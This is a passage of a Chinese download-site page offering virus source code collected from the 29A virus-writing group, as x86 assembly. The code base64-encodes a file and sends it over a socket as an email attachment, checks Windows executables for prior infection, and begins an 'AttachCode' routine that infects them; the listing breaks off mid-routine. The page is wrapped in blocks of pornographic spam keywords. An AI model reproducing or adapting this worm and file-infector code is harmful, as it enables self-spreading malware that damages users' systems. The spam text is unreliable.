亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.013

?? 從29A上收集的病毒源碼
?? 013
?? 第 1 頁 / 共 5 頁
字號:
    push    edx
    push    ecx    

    ; read 3 bytes
    push    0
    pushptr dwNumberOfBytes
    push    3
    pushptr threeBytes
    pushval hFile
    ApiCall ReadFile   
   
    ; base64 encode the three bytes
    mov     ecx, 3
    lea     esi, [ebp+threeBytes]
    lea     edi, [ebp+fourBytes]
    call    Base64Encode

    ; send the four base64 encoded bytes
    push    0
    push    4
    pushptr fourBytes
    pushval hSock
    ApiCall send
    cmp     eax, -1
    je      exitThread    

    pop     ecx
    pop     edx
    loop    sendAttachment    

    ; get the remaining bytes
    push    edx
    push    0
    pushptr dwNumberOfBytes
    push    edx
    pushptr threeBytes
    pushval hFile
    ApiCall ReadFile
    pop     edx

    ; base64 encode the remaining bytes
    push    edx
    mov     ecx, edx
    lea     esi, [ebp+threeBytes]
    lea     edi, [ebp+fourBytes]
    call    Base64Encode       
    pop     edx

    ; send the remaining bytes
    push    0
    push    4
    pushptr fourBytes
    pushval hSock
    ApiCall send
    cmp     eax, -1
    je      exitThread        

;-------------------------------------------------------------------------------------------------;
; send the final part of the email message.                                                       ;
;-------------------------------------------------------------------------------------------------;

    ; send the last part of the email message
    pushptr szEmailPart17
    ApiCall lstrlenA
    push    0
    push    eax
    pushptr szEmailPart17
    pushval hSock
    ApiCall send
    cmp     eax, -1
    je      exitThread    

    ; recieve the server response
    push    0
    push    256      
    pushptr szResponse   
    pushval hSock       
    ApiCall recv
    cmp     eax, -1
    je      exitThread

;-------------------------------------------------------------------------------------------------;
; Clean up
;-------------------------------------------------------------------------------------------------;

    ; free the webpage buffer
    pushptr lpWebpage
    ApiCall GlobalFree

    ; free the email message buffer
    pushptr lpEmailMessage
    ApiCall GlobalFree

    ; close wininet
    pushval hInternet
    ApiCall InternetCloseHandle  

    ; close winsock
    ApiCall WSACleanup 
        
;-------------------------------------------------------------------------------------------------;
; Exit thread.                                                                                    ;
;-------------------------------------------------------------------------------------------------;

exitThread:  

    ; set the thread status
    mov     [ebp+dwThreadStatus], EXIT_THREAD
   
    ; exit the thread
    ApiCall GetCurrentThread
    
    lea     ebx, [ebp+dwExitCode]    
    push    ebx
    push    eax
    ApiCall GetExitCodeThread
       
    pushval dwExitCode
    ApiCall ExitThread              

;-------------------------------------------------------------------------------------------------;
; Function(s)                                                                                     ;
;-------------------------------------------------------------------------------------------------;

Base64Encode    PROC
    ;
    ; Description:
    ;   Base64 encodes a group of bytes.
    ;
    ; Parameters:
    ;   ecx = Number of bytes to encode.
    ;   esi = pointer to a buffer that needs encoding.
    ;   edi = pointer to a buffer that will recieve the encoded data.
    ;
    ; Return Values:
    ;   None.
    ;
    cmp     ecx, 3
    jl      @@pad                                  ; no groups of 3 to convert?
    xor     edx, edx
    mov     eax, ecx
    mov     ebx, 3
    div     ebx                                    ; edx = number of padded bytes
    mov     ecx, eax    
@@base64:                                          ; encode groups of 3 bytes to base64
    lodsd
    dec     esi
    bswap   eax
    push    ecx
    mov     ecx, 4
@@encode3:
    rol     eax, 6
    push    eax        
    and     eax, 3fh
    mov     al, [ebp+@@charset+eax]                ; get the base64 character
    stosb
    pop     eax 
    loop    @@encode3    
    pop     ecx
    loop    @@base64
    mov     ecx, edx
    cmp     edx, 3
    jg      @@return
@@pad:                                             ; pad any additional bytes
    inc     ecx
    mov     dword ptr [edi], '===='
    mov     eax, [esi]
    bswap   eax
@@l1: 
    rol     eax, 6
    push    eax
    and     eax, 3fh
    mov     al, [ebp+@@charset+eax]
    stosb
    pop     eax
    loop    @@l1     
@@return:
    ret
@@charset   DB 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', 0
Base64Encode    ENDP
        
SetTimeOut  PROC   
    ;
    ; Description:
    ;   Sets the timeout duration for sending and recieving data.
    ;
    ; Parameters:
    ;   esi = socket handle.
    ;   edi = pointer to a DWORD.
    ;   eax = timeout duration.
    ;
    ; Return Values:
    ;   None.
    ;

    ; set the timeout duration
    mov      [edi], eax
  
    ; set the timeout for recieving data 
    push     4
    push     edi
    push     SO_RCVTIMEO
    push     SOL_SOCKET
    push     esi
    ApiCall  setsockopt
  
    ; set the timeout for sending data
    push     4
    push     edi
    push     SO_SNDTIMEO
    push     SOL_SOCKET
    push     esi
    ApiCall  setsockopt
  
    ret
SetTimeOut  ENDP

LoadImports     PROC
    ;
    ; Description:
    ;   Loads a series a dll's and the addresses of the specified functions.
    ;
    ; Parameters:
    ;   eax = pointer to an import table.
    ;
    ; Return Values:
    ;   If the function is successful the return value is 0. If the function fails 
    ;   the return value is -1.
    ;
    mov     edi, eax
@@loadLibrary:
    push    edi
    ApiCall LoadLibraryA                           ; load the dll
    cmp     eax, 0
    je      apiLoadError
    mov     esi, eax
    xor     al, al
    mov     ecx, 100
    repne   scasb                                  ; find the dll pointer
@@loadFunctions:    
    push    edi
    push    esi
    ApiCall GetProcAddress                         ; get function address
    cmp     eax, 0
    je      apiLoadError   
    mov     ebx, eax                    
    xor     al, al
    mov     ecx, 100
    repne   scasb                                  ; find function pointer    
    mov     [edi], ebx                             ; save the function address
    add     edi, 4
    cmp     byte ptr [edi], 0                      ; end of function list?
    jne     @@loadFunctions
    inc     edi
    cmp     byte ptr [edi], '$'                    ; end of import list?
    jne     @@loadLibrary
    xor     eax, eax
    ret
@@apiLoadError:
    mov     eax, -1
    ret
LoadImports     ENDP

ConnectToHost   PROC
    ;
    ; Description:
    ;   Connects to a host.
    ;
    ; Parameters:
    ;   eax = port.
    ;   esi = pointer to a zero terminated host name.
    ;
    ; Return Values:
    ;   If the function is successful the return value is the socket handle. If the function fails 
    ;   the return value is -1.
    ;

    ; fill the SOCK_ADDRESS structure
    mov     [ebp+sockAddress.sin_family], AF_INET
    push    eax   
    ApiCall htons
    mov     [ebp+sockAddress.sin_port], ax
    push    esi
    ApiCall gethostbyname
    cmp     eax, 0
    je      @@connectionFailed
    mov     eax, [eax+12]        
    mov     eax, [eax]
    mov     eax, [eax]
    mov     [ebp+sockAddress.sin_addr], eax

    ; Create a socket 
    push    PCL_NONE            
    push    SOCK_STREAM                 
    push    AF_INET          
    ApiCall socket
    mov     esi, eax
    cmp     eax, -1
    je      @@connectionFailed      

    ; connect to host
    push    16
    pushptr sockAddress
    push    esi
    ApiCall connect
    cmp     eax, 0
    jne     @@connectionFailed
    mov     eax, esi
    ret

@@connectionFailed:
    mov     eax, -1
    ret
ConnectToHost   ENDP       

IsValid     PROC
    ;
    ; Description:
    ;   Checks to see if the file is a valid win32 exe and is not already infected.
    ;
    ; Parameters:
    ;   esi = Pointer to filename.
    ;
    ; Return Values:
    ;   If the function is successful the return value is 0. If the function fails the return
    ;   value is -1.
    ;

    ; open the file
    push    0
    push    0
    push    OPEN_EXISTING
    push    0
    push    FILE_SHARE_WRITE OR FILE_SHARE_READ
    push    GENERIC_WRITE OR GENERIC_READ
    push    esi
    ApiCall CreateFileA
    cmp     eax, -1
    je      @@notValid 
    mov     [ebp+hFile], eax

    ; read the DOS header into memory
    push    0
    pushptr dwNumberOfBytes
    push    size DOS_HEADER
    pushptr dosHeader
    pushval hFile
    ApiCall ReadFile   
    cmp     word ptr [ebp+dosHeader.wSignature], 'ZM'
    jne     @@notValid

    ; seek to the PE header
    push    FILE_BEGIN
    push    0
    pushval dosHeader.lpPEHeader
    pushval hFile
    ApiCall SetFilePointer         

    ; read the PE header into memory
    push    0
    pushptr dwNumberOfBytes
    push    size PE_HEADER
    pushptr peHeader
    pushval hFile
    ApiCall ReadFile                
    
    ; is it a win32 exe file?
    cmp     word ptr [ebp+peHeader.dwSignature], 'EP' 
    jne     @@notValid

    ; calculate the location of the last section header
    xor     edx, edx
    xor     eax, eax
    mov     ax, [ebp+peHeader.wNumberOfSections]
    dec     eax
    mov     ebx, size SECTION_HEADER
    mul     ebx
    add     eax, [ebp+dosHeader.lpPEHeader]
    add     eax, size PE_HEADER
    mov     [ebp+lpLastSectionHeader], eax

    ; seek to the last section header
    push    FILE_BEGIN
    push    0
    pushval lpLastSectionHeader
    pushval hFile
    ApiCall SetFilePointer             
    
    ; read the last section header into memory
    push    0
    pushptr dwNumberOfBytes
    push    size SECTION_HEADER
    pushptr sectionHeader
    pushval hFile
    ApiCall ReadFile               

    ; code already attached?
    cmp     dword ptr [ebp+sectionHeader.dwCharacteristics], SECTION_RWE
    je      @@notValid
    
@@isValid:
    pushval hFile
    ApiCall CloseHandle    
    xor     eax, eax
    ret        
    
@@notValid:
    pushval hFile
    ApiCall CloseHandle
    mov     eax, -1
    ret
 
IsValid     ENDP

AttachCode  PROC
    ;
    ; Description:
    ;   Infects a win32 exe with this program.
    ;
    ; Parameters:
    ;   esi = Pointer to filename.
    ;
    ; Return Values:
    ;   If the function is successful the return value is 0. If the function fails the return
    ;   value is -1.
    ;
    
    ; save the return address for this instance    
    push    [ebp+lpReturnAddress]

    ; open the file
    push    0
    push    0
    push    OPEN_EXISTING
    push    0
    push    FILE_SH

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲第一福利一区| 五月婷婷激情综合| 亚洲综合色视频| 狠狠色丁香婷婷综合| 色丁香久综合在线久综合在线观看| 在线不卡中文字幕播放| 综合久久给合久久狠狠狠97色 | 91啪九色porn原创视频在线观看| 亚洲在线中文字幕| 亚洲国产精品一区二区久久恐怖片| 亚洲女性喷水在线观看一区| 亚洲精品中文在线| 亚洲国产精品综合小说图片区| 亚洲午夜免费电影| 日本欧美肥老太交大片| 久久超碰97中文字幕| 国产传媒日韩欧美成人| 成人高清视频在线| 91精品国产欧美一区二区成人| 欧美大片日本大片免费观看| 久久久综合精品| 综合久久一区二区三区| 亚洲成人午夜影院| 久久99精品久久只有精品| 国产高清久久久久| 在线观看中文字幕不卡| 日韩视频在线一区二区| 国产欧美日韩在线视频| 国产精品久久久久久亚洲毛片 | 99精品视频一区二区三区| 国产激情精品久久久第一区二区| 成人综合婷婷国产精品久久 | 一区二区三区成人| 美国十次综合导航| 成人福利视频网站| 欧美精选午夜久久久乱码6080| 精品久久久久久久久久久久包黑料| 国产欧美日韩在线观看| 亚洲妇女屁股眼交7| 国产一区二区三区久久久| 日韩一区国产二区欧美三区| 久久久精品国产免费观看同学| 自拍视频在线观看一区二区| 日韩二区三区四区| a4yy欧美一区二区三区| 宅男在线国产精品| 中文字幕亚洲一区二区av在线| 天天操天天色综合| 一本到高清视频免费精品| 日韩欧美一区二区视频| 一区二区三区在线高清| 国产精品一区二区久久不卡| 欧美日韩一区二区三区在线| 亚洲国产精品二十页| 日本不卡高清视频| 欧美亚洲国产一区在线观看网站| 久久亚洲捆绑美女| 蜜桃久久av一区| 欧美疯狂性受xxxxx喷水图片| 国产精品美女久久久久aⅴ国产馆 国产精品美女久久久久av爽李琼 国产精品美女久久久久高潮 | 国产精品盗摄一区二区三区| 成人av中文字幕| 久久久亚洲午夜电影| 日本在线不卡一区| 欧美日韩一区视频| 一个色在线综合| eeuss国产一区二区三区| 国产亚洲一区二区在线观看| 久草精品在线观看| 日韩精品一区二区三区四区视频 | 久久综合九色综合久久久精品综合| 亚洲资源中文字幕| 日本韩国一区二区三区视频| 中文一区二区完整视频在线观看| 国产最新精品免费| 精品美女在线播放| 精品夜夜嗨av一区二区三区| 日韩免费视频一区二区| 久久精品国产一区二区| 精品欧美一区二区三区精品久久 | 亚洲精品美国一| av资源网一区| 亚洲美女一区二区三区| 色天天综合久久久久综合片| 亚洲欧洲日韩综合一区二区| 97精品超碰一区二区三区| 亚洲欧洲精品一区二区三区不卡 | 欧美在线观看18| 一个色在线综合| 欧美精品丝袜中出| 91影视在线播放| 亚洲女爱视频在线| 欧美午夜宅男影院| 久久精品国产免费| 亚洲国产成人一区二区三区| 9人人澡人人爽人人精品| 国产精品亲子伦对白| 色婷婷久久久久swag精品| 亚洲高清不卡在线观看| 日韩欧美在线不卡| 粉嫩高潮美女一区二区三区| 1区2区3区欧美| 欧美肥妇free| 国产精品一二三区| 一区二区国产盗摄色噜噜| 欧美一区二区三区精品| 国产成人综合亚洲网站| 亚洲精品午夜久久久| 3d动漫精品啪啪1区2区免费| 国产曰批免费观看久久久| 亚洲色图一区二区| 日韩一区二区三区四区| 99精品国产视频| 奇米影视一区二区三区| 国产精品护士白丝一区av| 欧美伦理影视网| 成人黄页在线观看| 美女网站在线免费欧美精品| 国产精品久久久久久久久免费丝袜 | 亚洲精品五月天| 精品久久久久久久久久久久久久久 | 国产欧美精品一区| 欧美丝袜自拍制服另类| 国产麻豆精品theporn| 亚洲成人自拍网| 国产精品久久久久毛片软件| 日韩欧美电影一区| 欧美在线免费播放| 成人黄色软件下载| 韩国一区二区三区| 亚洲成va人在线观看| 亚洲欧洲国产日本综合| 久久久国际精品| 日韩一区二区免费在线观看| 91黄色激情网站| 不卡大黄网站免费看| 国产精品香蕉一区二区三区| 日产精品久久久久久久性色| 精品午夜久久福利影院| 97精品电影院| 精品国产乱码久久久久久1区2区 | 日韩一区在线播放| 国产精品影视天天线| 国产v日产∨综合v精品视频| av一区二区三区在线| 91福利小视频| 日韩你懂的在线播放| 中文字幕精品一区二区三区精品| 亚洲天堂精品在线观看| 日韩国产一区二| 国产91丝袜在线播放| 欧美亚洲国产一区二区三区| 日韩美女一区二区三区四区| 国产精品网站一区| 天堂久久久久va久久久久| 国产高清不卡二三区| 欧美亚洲愉拍一区二区| 精品国产自在久精品国产| 久久99热这里只有精品| 91久久精品一区二区三区| 日本精品一区二区三区高清| 日本免费在线视频不卡一不卡二| 国产精品主播直播| 欧美亚洲高清一区二区三区不卡| 精品久久国产字幕高潮| 1区2区3区欧美| 久久99精品久久久久久国产越南 | 亚洲免费伊人电影| 久久精品国产久精国产| 欧洲亚洲国产日韩| 国产亚洲精品超碰| 日本中文在线一区| 色天使久久综合网天天| 久久一日本道色综合| 天堂资源在线中文精品| www.日韩av| 2020国产成人综合网| 日本久久电影网| 欧美亚洲丝袜传媒另类| 欧美一级精品大片| 依依成人综合视频| 麻豆精品国产91久久久久久| 久久久久久**毛片大全| 精品美女在线播放| 国产精品久久毛片a| 亚洲女人****多毛耸耸8| 日韩电影在线免费看| 国产揄拍国内精品对白| 91在线国产福利| 日韩欧美一级特黄在线播放| 久久久久久久久久久黄色| 欧美女孩性生活视频| 久久精品夜色噜噜亚洲a∨| 久久成人麻豆午夜电影| 欧美一区二区观看视频| 午夜精品视频一区| 欧美二区三区91| 亚洲国产成人91porn| 欧美在线短视频| 亚洲国产另类av|